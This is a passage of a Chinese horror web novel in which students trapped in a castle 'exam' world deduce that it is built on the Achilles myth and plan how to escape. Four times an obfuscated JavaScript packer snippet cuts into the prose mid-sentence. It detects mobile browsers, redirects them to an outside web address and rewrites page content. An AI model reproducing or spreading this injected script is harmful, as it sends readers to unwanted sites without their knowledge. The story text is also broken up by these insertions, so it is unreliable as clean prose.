她这是在……偷偷观察自己?不知道是巧合还是故意为之,下一秒,萨瑞亚状似随意地询问她:“Luna,你怎么不吃?” 萨瑞亚的话成功让对面三个人的目光再次停留在项纨身上。 状况外的于露懵道:“Luna是谁?这里有人叫Luna吗?” 项纨懒得搭理这个白痴,她朝萨瑞亚微微一笑,“谢谢夫人,我不饿。”果然,在她跟阿克斯独处的时候,萨瑞亚一定在暗中观察她们的一言一行一举一动。 真是个关心儿子的好妈妈。 听她说不饿,萨瑞亚居然半点不悦都没有,她看向吃下面包的三人,“你们几位也吃好了吗?” 三人忙不迭点头:“吃好了吃好了。” 萨瑞亚微微垂下了眼眸,用一种非常遗憾的语气说:“真是太可惜了,这可是我精心烹制的肉。”她忽然又兴奋起来,“不过没关系,明天应该还有的吃!” 明天还有得吃…… 项纨的眼睛半眯起来,仔细回味她这句话的意思,是不是说明这肉是她今天才得到的呢? 新鲜的、今天才得到的肉……明天或许还会有…… 脑子里顿时浮现两个猜想,不过她很快排除其中一个,毕竟昨晚上阿克斯没的是一只眼睛,萨瑞亚又是一个这么爱孩子的母亲,怎么可能把阿克斯的身体烹饪成盘中餐。 这么一来,答案似乎很明了。 项纨太阳穴一跳,她抬手按住,开口问萨瑞亚:“萨瑞亚夫人,我能问你一个问题吗?” 萨瑞亚犹豫了一秒,说:“当然可以。” “今天早上去陪伴阿克斯的那位姑娘, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904656|176805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在在哪里?” 话音落下,满堂寂静。 所有人的目光都投向她,大约是没想到她竟然就这么直白地问出来了。 她不理会周围人的目光,直勾勾地看着萨瑞亚。 对方也看着她,不再像之前那样躲避她的目光。两人对视了约莫十几秒,萨瑞亚忽然“噗嗤”一下笑了出来。她站了起来,起身的动作带动身后的椅子“滋啦”一声。 于露别开眼睛不去看萨瑞亚,她实在是害怕看到这个人笑,伪人感太重了,每次她一笑,于露就疯狂掉san。 “真是敏锐的洞察力啊。”萨瑞亚忽然感叹了一声,然后伸出手,纤细的手指在空中隔空一点,指着中间那口大锅,“喏,那位不守规矩的姑娘就在里头。” 此言一出,对面三人立刻石化了,刚吃下去的东西在胃里翻腾,就差没直接吐出来。 于露也惊呆了,还好刚才项纨拦住了她! 对面三个则是心想:还好还好,他们没碰那锅肉…… 看着三人的表情,萨瑞亚似乎猜到他们心里在想什么,嘴角的笑容更深了:“肉感味道还不错,对吗?” …… “呕!” 三个人动作整齐划一,扭过头去吐了起来。直到胃里空空,什么也吐不出来,还一直干呕。 萨瑞亚对这副场面很满意,她回头,“Luna,这就是不守规矩的下场。” 项纨:? 单独点她是什么意思?还有,她口中的不守规矩又指什么?项纨大脑飞速转动,忽然想到一种可能——难道傅小雅被判定为作弊了?什么样的行为会被判定为作弊? 项纨大胆假设,求证的方法更是胆大包天。“萨瑞亚夫人,怎样算不守规矩?” 萨瑞亚被她一而再的提问问烦了,她冷笑,从身后摸出一个方形物体一把拍在桌上,语气森森然:“有异心的人,就是不守规矩。” “那是……”看清她拍在桌上的东西,于露小声倒吸一口气,“手机!” 萨瑞亚冷冷道:“要知道,只有敌方派遣来的奸细身上才会有这种东西。” ……原来如此,果然和她想的一样,还好在上课之前提醒了晓彤她们别带手机,否则后果不堪设想! 14. Achilles “你真有先见之明……”于露有点后怕,在项纨耳边轻声感叹道。 陆舸胆汁都快吐出来了,擦掉唇角的污渍,愤愤瞪向项纨。项纨被瞪得莫名其妙,这家伙该不会觉得自己和于露什么食物都没碰是知道什么但没提醒他们吧? 不过她现在没工夫搭理他们,因为萨瑞亚又开口了:“异端已经被铲除,但阿克斯的状态很不好,所以,还得有人陪在他身边。” 鸦雀无声。 刚刚对项纨咬牙切齿的几人垂下了脑袋,做鸵鸟状。 于露也垂下头,默默在心里念叨“别选我别选我”,项纨对此并不意外,安静地看着萨瑞亚,等着她宣布这位“幸运儿”。 萨瑞亚的目光扫过在座所有人,短暂停留在于露身上,就在项纨以为于露会成为下一个倒霉蛋的时候,萨瑞亚脸上露出纠结的表情。几秒之后,错开视线,转向一旁。 她抬手,优雅地一指,“就是你了。” 被选中的宋宇面色一僵,颤声指着自己确认:“我?” 萨瑞亚点头,起身:“跟我来吧。其余几位可以随意活动,不过切记,城堡外是禁地,千万,千万不要靠近。” 留下这句话,萨瑞亚提着裙子示意宋宇跟上自己。宋宇别无他法,白着一张脸跟在萨瑞亚身后,两人的身影渐远,最后消失在长廊尽头。 两人一离开,陆舸蹭地站起来,端起桌上的酒杯猛灌两口,把酒当水漱口漱了好几遍,直到感觉不到刚才吃过的任何食物或是胃酸残留的味道,这才罢休。 他重重把杯子往桌上一口,“啪嚓”一声,陶制的杯子在他手和桌子之间碎裂。 “项纨,你——” “诶,”项纨抬手打住,“不要把什么屎盆子都往我身上扣,我没你想的那么神通广大。人是萨瑞亚随便选的,手机是她自己带来的,我可什么都没做。” 项纨语气平静,理智地给他分析现状,而在场众人难得默契,谁也不敢去看桌上那口大锅。 陆舸刚刚被愤怒冲昏了头脑,原本以为一定是项纨昨晚做了什么手脚,可听完她的话冷静下来一细想,又觉得不对。 正如项纨所说,手机是傅小雅自己带来的,从进入教室到第二次见面,项纨和傅小雅接触的时间少得可怜,就连他都不知道傅小雅带了手机进来,更何况是项纨。 虽然萨瑞亚早上重新来选人确实有项纨的推动因素在里头。 可是……他还是觉得项纨没那么简单。 他开始认真的打量起对面的女生。 长马尾已经被项纨扎成更加利落的丸子头,怎么看都是一副标准无害的甜美长相,毫无攻击性美丽。 然而在看向项纨眼睛的时候,陆舸的心脏“咯噔”一下。那是一双符合大众认知的杏眼,和她其余五官相辅相成,猛地一看似乎毫无违和感,可是细看就会发现,项纨的眼神平静无波,如一汪寒潭,眸底是与她整个人的气质都不相符的深沉。 陆舸完全看不出她眼中的情绪。 而且这个项纨……他看了一旁身边吐得不知天地为何物的琪琪,嫌弃地皱了皱眉,回头,又看了一眼满脸惊恐地于露,视线重新回到项纨的脸上。 他刚才也并不是只忙着吐了,也有分心留意项纨的反应。在听到自己的同伴——虽说并非统一战线,被做成了一锅食物,她除了一开始小小的震惊疑惑了下,好像就没有别的什么反应了? 这真的符合一个正常的女大在面对突发未知血腥事件时的反应吗? 好像对面和旁边这两个才更像正常人该有的反应吧? 项纨不知道这人已经在心里把自己划分到不正常的范畴,她起身,于露也跟着,两人正准备离开,陆舸忽然叫住了她:“项纨!” 刚走出去两步,项纨停下,回头疑惑看向他。 陆舸犹豫了两秒说:“其实,我们可以合作。” 项纨眼里的疑惑更浓,“合作?” 陆舸点头:“没错,五个人合作,至少比一个人出去的概率更大,你说呢?” 见他紧盯着自己,项纨眉梢一挑,视线落在他胳膊上,语气奇怪:“你的胳膊好像是被我打的?” 陆舸:“?” 这女人是失忆了吗? 他嘴角抽了抽,森森然道:“是!不过为了活着出去,我可以当这事儿没发生过!” 项纨见他一副“我大发慈悲不计前嫌”的样子,有点好笑,“我只有一个问题,如果我真是个手无缚鸡之力的人,在你带着他们俩来找我的时候,我会是什么样的下场?” …… 沉默。 此话一出,陆舸就知道找项纨合作这条路是彻底诶堵死了,可陆舸不死心,还想挣扎一下,“项纨,现在可不是意气用事的时候,你们——” “谁跟你说我在意气用事了?”项纨虽然很欣赏自信的人,可盲目的自信就是自负了,“难道说你真的觉得不跟你们合作,我就出不去这个鬼地方?” 一而再再而三的被拂面子,陆舸终于装不下去了。 他一脚踢翻脚边的椅子,可怜的椅子被踹飞老远,“啪”的一下撞到墙壁,呈快要散架的姿态。 琪琪被陆舸的动作吓了一跳,她停止干呕,擦了擦嘴,怯怯地看了一眼陆舸,飞快站到他身后。 现在宋宇被带走了,能不能全须全尾的回来还是个未知数,她们又早就把项纨得罪,现在能依靠的就只有陆舸了。 “不识好歹!那我就看看你到底能不能活着出去。”陆舸隔空指了指她,转身,“琪琪,我们走。” 目送两人离开,一脸菜色的于露扯了扯项纨的裙子,撇开眼睛不看桌上任何东西,语气急迫:“我们也走吧!” 项纨拂开她的手,“要走你走,我还有事。” 于露不解:“你能有什么事?” 项纨说:“我要去城堡外面看看。” “什么?你疯啦!” 项纨头也不回,径自朝楼梯的方向走,见她并非胡说八道,于露赶紧跟上她的脚步。 一路上,项纨的目的地似乎很明确,脚步几乎半点没停。于露心惊胆战跟在后面,“萨瑞亚不是还特意提了让我们千万不要靠近城堡外吗,万一要是被她知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904657|176805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道了……” “她不会知道的。”项纨说。 “你怎么知道?” 以项纨昨晚的经历来看,一旦有人在陪伴阿克斯的时候,萨瑞亚的全部注意力几乎都集中在阿克斯身上,更何况是在出现了所谓的“异端”之后,她恐怕更加谨慎了。 不过她不打算跟于露多费口舌,“要跟着我你就闭嘴,不相信我你就回去,哪儿来那么多的话?” 于露悻悻地闭了嘴,还是选择相信项纨。 两个人鬼鬼祟祟地摸到楼下,还好,不知道是题目设定还是别的原因,整个城堡几乎没有别的佣人存在。项纨和于露轻松地躲开了正在忙碌的伊莎,偷偷溜到了古堡大门口。 古堡的大门是从内部落锁,如果两人都出去,万一要是被关在门外,那么她们偷跑出来的事情就不打自招了。项纨眼珠子一转,回头冲于露说:“你,帮我把门望风。” 于露脸部肌肉抽了抽,有点抗拒:“凭什么我就是望风那个!” 项纨也大方,两手一摊:“那你出去,我来望风。” 于露老实了,给她让路:“呵呵,我还是望风吧。” “记住,把门关上,你就在这附近晃荡,到时候替我开门就行。” “知道了。” 交待完毕,两人悄悄将大门打开一条能容项纨一个人通行的缝隙,项纨一侧身体,从缝隙溜了出去。 于露立刻把大门关上,四下张望,确定没人,假装淡定从容地在附近晃悠,看着真就像随意逛逛似的。 项纨溜出来的第一件事就是把碍事的裙子脱下,叠起来,在古堡角落找了个干净隐蔽的地方把它放下。把匕首套子别在裤子的皮带上,项纨朝着她的目的地进发。 她判定好方向,一路绕行到古堡背后。这古堡虽然坐落在峭壁之上,可却不在最顶端。古堡的视野不够开阔,能看到的只有临近悬崖那一边。而靠上的另一边还有段向上的路,陡峭难行——正是项纨的目的地。 项纨站在墙角目测了一番,二话不说,手脚并用开始往顶端爬。 山石陡峭光滑,项纨爬得艰难,好在虽然费了一番功夫,还是有惊无险的登了顶。 山顶的视野比在古堡内开阔许多,项纨在顶端驻足,360度环绕观望了一圈,终于看清了山的另一端是什么…… 那是一片……项纨在心里找了找形容词,最后能想到一个——虚无。对,就是虚无。 就像她从前玩的一款RPG游戏,探索到地图尽头的时候,就和山后的景象差不多,一片虚无。 项纨沉默地看着眼前的景象,也不知过了多久,天色竟渐渐黑了。这白天时间的流速……是不是太快了一点? 项纨持怀疑态度,朝着另一边看去,那是昨晚出现那条奇怪的泛红的河流的方向。不看不要紧,一看,项纨一惊——只见原本虚无的悬崖深渊竟然凭空缓缓汇出一条河流,但那条河的河水竟然是黑色的,至于河面跳跃的密密麻麻的红色东西到底是什么,离得太远,项纨看不清。 不过这河的出现也让项纨意识到,她该赶紧下山了。 15. Achilles 下山的路并不比上山好走,天色暗下来的速度比想象中还要快,项纨有些匆忙,攀爬的时候暴露在外的手臂被一些细碎凸出的石头划出好些小口子。 项纨浑然不觉,以最快的速度安全下山。先回藏衣服的地方把衣服套上,绕行到古堡前头再看了眼那条黑红色的怪河,项纨这才走回头路,回到了古堡大门口。 项纨没有立刻去开门,她蹲下,捡起一颗小石头往门上一砸,石头碰到门上,发出不大一声闷响。下一秒,大门被打开一条缝隙,于露做贼心虚的脸从缝隙里探出来。 望风望得还挺称职。 看见项纨,于露眼睛一亮,着急忙慌朝她招手。 项纨从缝隙里挤进去,两人把门落锁,蹑手蹑脚远离了大门。古堡第一层的灯火依然昏暗,两人装作无事发生,上楼。 “你怎么出去那么久,天都黑了。”于露抱怨道,“我都怕你在外头回不来。” “你没发现这个地方的白天很短吗?”项纨说。 于露默了两秒,“原来真的是这里的时间流速有问题!我还以为是没有事做打发时间出幻觉了……” “那也该是度日如年的幻觉,而不是时光加速。”项纨怼道。 于露翻了个白眼:“我只是随便找了个形容方式而已。” 项纨加快脚步,不同她废话:“先赶紧回房间。” 于露跟上她的速度,不解道:“急什么?萨瑞亚现在的注意力不是应该在宋宇和阿克斯身上吗,应该不会关注我们吧?” 不过她嘴上虽然这么说着,脚下的脚步却一点都不带停。 顺利回到房间,项纨直奔窗口,目光停留在已经汇聚成河的的地方。于露跟了过来,发出惊讶的声音:“这河怎么又出现了?” 项纨没出声。 于露紧接着问:“你刚才去哪儿了?” 这次项纨开口了,“去验证一下我心里的猜测。” 于露好奇:“什么猜测?” 项纨抬起下巴朝那怪河的方向一挑,语气轻飘飘:“关于……这条河和这个地方究竟是什么样的存在的猜测。” 于露听得云里雾里:“什么存在……什么存在不存在的,什么意思?” 项纨说:“在来到这里之后,我就在想,假如这里是被未知的神秘力量构建出的一个世界观,那么在它构建的这个场景中,除了它本身,还有没有其他外物存在。” “外物?” “事实证明,除了它原本的世界框架之外,这个地方空无一物,所以说……”想到山后的那一片虚无,项纨停顿了下,“外头那条河的确是这个世界框架里的产物,也就是说……” 于露仿佛在听一段天书,“也就是说?” 项纨鄙夷地看了她一眼,见她靠自己的理解能力实在领悟不到,才解释:“也就是说,这条河不是凭空出现的,它的存在和这整道题的关联性极大,更甚至,是破局的关键。” “哦!”在项纨的解释之下,于露的脑袋终于转过弯,“我懂了!” “你懂什么了?” “这堂课是古典文学,并且现在看起来应该是西方古典文学……如果能通过这条河确定这堂课的背景框架,是不是就有头绪了?” 项纨对她的话加以肯定:“看来你还不算太傻。” 于露:“……可是我对西方古典文学不太了解怎么办?” 闻言,项纨回头扫了她一眼。就这一眼,于露几乎能从她的眼神里幻听到她的语气:靠你?那不如等死算了。 项纨转身走到床边坐下,平静道:“我大概有些头绪了。” 于露一惊,忙不迭快步走到她旁边一屁股坐下,“你就有头绪了?” “嗯。” “昨晚上悟出来的?!” “嗯。” “快说说!” 项纨摊开手,翻来,覆去,盯着自己的指尖。于露性子急,见状催促道:“你倒是说话呀!别光看你那手了!” “手,腿,眼睛……”项纨语调平缓。 “什么?”于露狐疑。 项纨抬头,对上于露疑惑的双眼,说:“阿克斯的眼睛瞎了,四肢断了,受了那么严重的伤,以现在这个背景的医疗条件,你觉得他能够活下来吗?” 于露有点懵:“应该……不能吧……” “是啊,不管哪一样看起来都挺要命的,可他经历了这么多次还是活下来了,这说明什么?” “说明他命大?”于露试探道。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908259|176805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “一次是意外,两次是巧合,三次及以上那叫做必然事件,阿克斯亲口告诉我他不会死。”项纨说,“可是我觉得他话没有说完。” “什么意思?你是说他骗了你?” “不。”项纨轻轻摇了摇头,“我猜,在某种特定条件被满足之前,他应该的确不会死。” 于露听得更加糊涂了,“特定条件?什么特定条件?” “昨晚,有一群很奇怪的家伙凭空出现在了他的房间,阿克斯似乎非常惧怕这些‘人’,他把他们叫做‘刺杀者’,”项纨回忆道,“还说要从他这里夺走不属于他的东西。” 项纨差不多想通了所谓的“不属于他的东西”是什么——从阿克斯这副满目疮痍的躯壳来看,大约指的就是他的命了。 于露大脑运转了一会儿,也回过了味来:“他的命!” “不错。”项纨点头,“现在我们假设这群人要的就是他的命,那么他身上的所有伤都可以解释为——虽然想要他的命但不知道怎么才能杀掉他所以只能慢慢儿的、一次一次的试验。” 试验他的致命点究竟在哪儿。 “原来如此!”于露感慨一句,随即又奇怪道:“可是这和外面那条河有什么关系?” 虽然对西方古典文学的了解不多,但好歹也上过一阵子的选修课,从昨晚她问萨瑞亚这条河的时候,观察到萨瑞亚的反应,她脑子里就已经有了这个揣测。项纨回头看了看那条泛着红光的河,问于露:“你知道阿喀琉斯吗?” “阿……什么斯?” “阿喀琉斯,希腊神话的一个人物。”项纨慢悠悠道,“阿喀琉斯一出生,他的母亲就得知预言,说他会战死。为了儿子不死,她的母亲卡死神的bug,提着他的脚踝,把他整个人浸泡到冥河里。” “可她忘了,被她提住的脚踝,没有冥河泡到。” “于是脚踝就成了阿喀琉斯最致命的地方。” 于露听完,眉头皱起,嘴里喃喃:“阿克斯……阿喀琉斯……!”她猛地抬起头,“你的意思是那条河就是冥河!” 项纨微微一笑:“猜的。” 所以这堂课的背景有百分之九十的可能性是以这个神话故事——阿克琉斯之踵,为原型而构建! 16. Achilles 于露陷入沉思,试探问道:“如果这堂课的背景真是你说的这样,那我们的考题是什么?” 项纨半眯起眼睛,略做思考,说:“不能确定,不过无外乎两种可能,一是帮他规避必死的结局,二嘛就是……” “让他死!”于露接话道。 项纨没说话,默认了她的说法。 于露又问:“那我们怎么确定到底是哪种情况啊?这也没个提示……” 问完等了几秒,见项纨没有搭理自己的意思,于露急了,推了下项纨的胳膊,“喂项纨,跟你说话呢!” “闭嘴。”项纨瞥她一眼,眼神威胁。关于这点,其实她心里也已经有了些头绪,只不过还是一样,要等到夜深,才能验证心里的想法。 于露老实闭了嘴。自从进到这个鬼地方,她是越来越不敢跟项纨顶嘴了,生怕对方一个不高兴,不管不顾她,到时候连哭都没地方哭。尤其是在白天知道傅小雅被做成一锅肉之后…… 想到傅小雅,于露不由自主打了个寒战。 项纨奇怪地看着她:“你冷啊?” “不是……我就是又想到隔壁那个女生了……”于露实话实说道。毕竟前一天活生生的人第二天变成锅里的食物,任谁身边发生这种事情都免不了脊背发凉吧? 于露这么想着,视线扫到项纨的脸,就见她一脸平静……行吧,她收回刚刚的想法,项纨是个异类。 “你都不觉得恶心恐怖吗?”于露实在没忍住,问。 项纨点头:“觉得啊。” “那你怎么没什么反应?典礼那天陌生人在你面前炸开你都吐了……这人可还跟你说过几句话呢!” 项纨无语:“你也说了那些人在我面前炸开碎成肉沫,飞溅得到处都是,很恶心的。”尤其是鞋子接触到上面那种粘腻感,想想都难受,“可傅小雅的尸体在锅里,我又看不见。” 于露一噎,反驳:“那你也可以想象到啊!” 项纨觉得她有病:“我没事想这些干嘛?”对自己身心健康不利的东西还主动去想?有病吧,还嫌现在的状况不够糟心吗? 于露忽然觉得项纨说得也很有道理,只不过总感觉项纨有些冷静得过头……当然,当下这种环境里,项纨这样的表现反而令人感到安心。 项纨不知道于露的心路历程,只觉得她看自己的眼神莫名其妙,她下巴一抬,语气淡淡的:“起开,我眯会儿。” 进到这地方几乎没怎么睡过一个囫囵觉,项纨这会儿是真有些困了。 于露识时务地起身,绕到床的另一边坐下。项纨鞋都没脱,和衣倒在床上,不是她心大这时候还能睡着,而是她知道这会儿要是再不睡,过会儿事情就又该找上门来了。 困意越发浓重,项纨意识逐渐变得模糊,迷迷糊糊的,也不知道过了多久,熟悉的敲门声将她从半梦半醒的状态中惊醒。 项纨脑子短暂地放空了一瞬,立刻戒备地从床上弹了起来。 往旁边看了一眼,于露也醒着,正用一种“怎么办”的眼神看着她。 项纨立刻下床,驻足原地听着门外的动静。熟悉的三声急促,两声平缓的敲门声。项纨心里有些小小地躁动,她朝门边快步走去,最后两步几乎是小跑着来到了门口。 于露从床上下来,跟在项纨的身后,见项纨的表情有些紧绷,她心里也跟着紧张得要命。 是不是自己心里想的那样,只要打开这扇门,答案就明了了。项纨握住门把手……有时候,人需要赌一把的勇气。她一咬牙,手上微微用力,门“咔哒”一下,开了。 门外,黑色的身影披着长袍,高出门框一半,背着把镰刀。项纨抬起头,只能看见从袍子底下露出的一只眼睛。那只眼睛注视着房里的两人,眼底有一丝丝的疑惑。 这不正是昨晚出现在阿克斯房间里的,被阿克斯称作刺杀者的家伙吗! 项纨咽了口唾沫,等着这家伙接下来的动作,好在对方只是弯下脑袋,看了一圈房间里,大约是没找到自己想找的东西,祂一言不发地站直,转身,看上去似乎就打算离开了。 “等等!”项纨忽然出声。 黑色的瘦长身影脚步一顿,刚转过去的身体又转了回来。 于露眼看着这东西要走了,还没松下去一口气呢,项纨这家伙居然还把祂给叫回来了!于露到抽一口凉气,一句话都不敢说,生怕对方注意到还有她这么个人在。 见项纨盯着自己,瘦长的身影走了两步回头路,又弯下腰,整个人……不,整个身体凑了上来,一只奇异的眼珠子贴近她,不知从那个部位发出的声音。 “你在,叫我?” 明明身影近在咫尺,声音却仿佛远在天边。 项纨垂下脑袋,不去看祂的眼睛。不知道是不是她的错觉,总觉得这只眼珠里藏着恶意,一对视,项纨就有种恶寒的感觉。 “是的,我在叫你。”虽然不看祂,话还是要问的,“我有问题想请教您。” 祂站在原地,没动,似乎是默许了她的话。 项纨组织了下语言,问道:“在你们找到阿克斯的致命弱点之前,这个地方将会一直存在,对吗?” 沉默。 很漫长的一阵沉默。 就在项纨以为自己应该得不到答案的时候,面前的身影动了。祂什么也没说,转过身,身影在项纨眼前渐行渐远,直到隐没在黑暗之中,再也看不到了。 项纨轻轻松了口气。 于露脑袋已经快埋进地底了,竖着耳朵听了好一会儿,确定没动静,抬起头。 “走了!?”她一颗悬着的心落回进肚子里,见项纨盯着门口的方向也不搭理自己,于露还以为她被吓到了,抬起手在她面前晃了晃,“项纨!” 项纨被她这么一嗓子喊得回了神,拨开她晃动的手掌,把门“砰”的一下关上。 见她动作急吼吼的,于露奇怪道:“你怎么了?” 项纨深吸一口气,看着她,说:“我知道了。” 于露:“?” “你又知道了?!”那东西刚才甚至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15923350|176805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都没有回答她的问题,她又知道什么了? 这就是人和人之间的差距吗? “这次又知道什么了?” 项纨嘴角噙笑,心情因为拨开云雾变得明朗,对于露说话的态度也和善了些,“知道我们接下来该怎么做了。” 于露半信半疑,说:“可是那家伙刚刚没有回答你的问题啊,你怎么确定的?” 项纨给她的好脸色不超过三秒,就会因为被她蠢到而不耐烦:“这世界上还有一个词,叫默认。” 于露“哦”了一声,但还是有些不放心:“可是……万一是你理解错了呢?” 项纨冲她翻了个白眼,懒得同她这个白痴废话。刚才出现的那位,大概就是在这堂课题框架里的神明之类的存在,也是昨晚在阿克斯的房里带走他另一只眼睛的家伙,今天再见,仔细一看,这形象,是死神阿瑞斯无疑了。 死神站在面前,挥一挥镰刀就能将她俩都带走,可是祂并没有这么做。项纨觉得祂的样子更像是在一个一个房间的确认阿克斯到底在哪里,看起来祂的目的似乎只有一个——夺回阿克斯从祂这里偷走的东西。 但是很显然,这位死神也不知道阿克斯的致命弱点究竟是什么在哪里,所以只能每天每次一遍一遍不厌其烦的找,去试,不光为了杀死阿克斯,也为了让从神明处偷走东西的人付出比死亡更加惨痛的代价。 比起直接杀死一个人,一点点将他摧毁或许更能让他痛苦又清晰地尝到后悔的滋味。 项纨将眼下的情况挑拣了些重点告诉于露,于露露出一副恍然大悟的表情,脑子难得灵光了一次:“那这么说起来,只有阿克斯死了,我们才能从这个地方出去!” “从目前掌握的信息来看,是这样的。” “可是也不对啊,死神一次一次的实验,总有成功的时候,那如果祂比我们快,我们岂不是什么都不用做就能从这个地方离开了?” 项纨轻嗤一声,嘲讽她痴心妄想:“你忘了?我们可是有时间限制的。” 于露一惊,猛然想起萨瑞亚第一天的话:“六天!” “严谨一点,还剩五天。”项纨提醒她,“而且,这个地方白天的时间流逝速度有多快,想必不用我说了吧?” “那怎么办!” 于露都要急疯了,结果转头一看,项纨倒是淡定,表情一点不慌,像是已经有了对策。 “如果我刚才所有的猜测都成立,那么我们必须赶在第六天之前协助死神找到阿克斯的致命弱点。”项纨徐徐道。 “你这不是废话吗?关键是要怎么找啊!”她俩都没被萨瑞亚选中,就算想找也没近他身的机会啊!而且看早上萨瑞亚的表现,项纨多半是被她从备选名单里面划除了。 “是啊,关键是怎么找,谁去找。”项纨说着,目光落到于露身上,上下打量。 于露被她看得毛骨悚然,双手环在胸前,哆哆嗦嗦的警惕道:“你这么看我干什么?” 项纨一笑。 “你明天就知道了。” 17. Achilles 另一间房里。 陆舸面色阴鸷坐在床边,琪琪在另一边,两人谁都没说话,房间里的气氛沉闷压抑。 直到门口的敲门声传来,打破沉默的氛围。 琪琪蹦了起来,警惕地看向门口。陆舸没什么反应,因为这敲门声一听就知道是昨天那家伙。 见他没什么反应,琪琪压低声音问他:“不开门吗?” 已经知道门外是什么了,没必要再看一遍。陆舸的沉默代表拒绝,琪琪也不敢多说什么,坐回床边。外头的敲门声并没有持续多久,过了十几秒,门口便再也没有了动静。 琪琪偷偷瞄了一眼陆舸,见他面色阴沉,她嘴唇翕动,欲言又止。陆舸一扭头,皱眉对她道:“要说什么就说,你知道我最讨厌吞吞吐吐的人。” “我……”琪琪顿了顿,“……我就是在想宋宇现在怎么样了,傅小雅变成那个样子,我……我担心他。” 陆舸冷笑一声:“那是那个女人蠢,宋宇不是那种蠢货,放心。” 琪琪“哦”了一声,没再多说什么,心里却盘算起来。 要是宋宇真的出了事情,这堂课里就只剩下她陆舸还有隔壁的两个女生,她很清楚陆舸是什么样的人,一旦触及他自身的利益,那么他们所谓的联盟便会瞬间土崩瓦解。 虽然很不想面对,但她确实应该再多做一层打算…… 见她沉默,陆舸忽然将脸转过来,盯着她:“怎么?” 琪琪被他吓一跳,忙道:“没、没什么……对了,时候不早了,还是早点休息吧!” 陆舸盯着她看了几秒钟,什么也没说,靠在床头闭上了眼睛。 在这个地方,什么男女有别已经完全不重要了,所有人一门心思只有从这鬼地方出去。琪琪虽然也不担心陆舸会对她做什么,但还是只占了床边一点点的位置,蜷起来睡。 谁也睡不安稳,半梦半醒间,琪琪似乎听见身边有什么动静,她本不想管,但是忽然想起现在的处境……琪琪猛地睁开眼睛,扭头一看,床的另一侧是空的。 琪琪顿时睡意全无,飞快从床上爬起来,蹑手蹑脚走到门口,低头一看,发现门并未关好。她犹豫两秒,动作极轻地握住门把,轻轻将门打开一条缝,侧耳聆听外面的动静。 男人脚步声略显沉闷,在空旷的古堡里,一点点动静显得格外明显。 陆舸去隔壁了? 琪琪的眉头微蹙,不知道陆舸究竟想做什么。难道是因为早上项纨得罪了他,所以趁夜深人静的时候想出什么损招对付她? 她又贴得更近些,然后就听到了……敲门声? 他敲得很轻,像是不想惊动旁人。没一会儿,隔壁的房门开了。 琪琪听见的他的脚步再次响起,然后消失在隔壁房间里,古堡再次陷入寂静,琪琪整个人却不淡定了。 这大半夜的,陆舸去隔壁是想做什么?如果是想教训项纨她们,那他完全没必要避着自己,而且没见过谁吃了亏还会这么大张旗鼓去教训别人的。 那就只有一种可能了——陆舸还没死心,还想和项纨合作。 想到这儿,琪琪的手脚发凉。 他和项纨发生过正面冲突,琪琪不觉得项纨会那么轻易答应陆舸的合作邀请,但如果这场冲突的导火索不是陆舸本人,或许对方就能松口答应呢? 矛盾转移大法,至于把这个矛盾转移到谁身上……除了她这个倒霉蛋,还能有谁? 琪琪深呼吸,安慰自己:淡定淡定,一切都只是自己的猜测而已,是不是这么回事还不一定呢! 她走回床边躺下,脑子乱糟糟的,一点睡意也无,决定等等看陆舸什么时候回来。 隔壁。 项纨睡眼惺忪,抱臂站在门口,满脸疑惑。 “大晚上的,你来干什么?”她问。 陆舸的视线越过她,看了眼床上睡得正熟的于露,收回,落在一脸困意的项纨身上……这两个女人怎么能做到这么没心没肺的?这样的情况下竟然还能睡得这么安心? 陆舸心里开始隐隐对自己的决定产生一些怀疑,不过既然来了,他还是决定开口。 “项纨,我想和你谈谈。” 项纨揉了揉眼睛,扭头看向窗外,的确还黑着没错啊?这人不光脑子有问题,智商也有问题。项纨语气不耐烦:“大哥,半夜三更的你要跟我谈谈?你有没有搞错啊?” 陆舸:“……” “是正事。” 陆舸找补道。 项纨无语:“是不是正事也得找个合适的时间吧?”大半夜扰人清梦,礼貌吗? 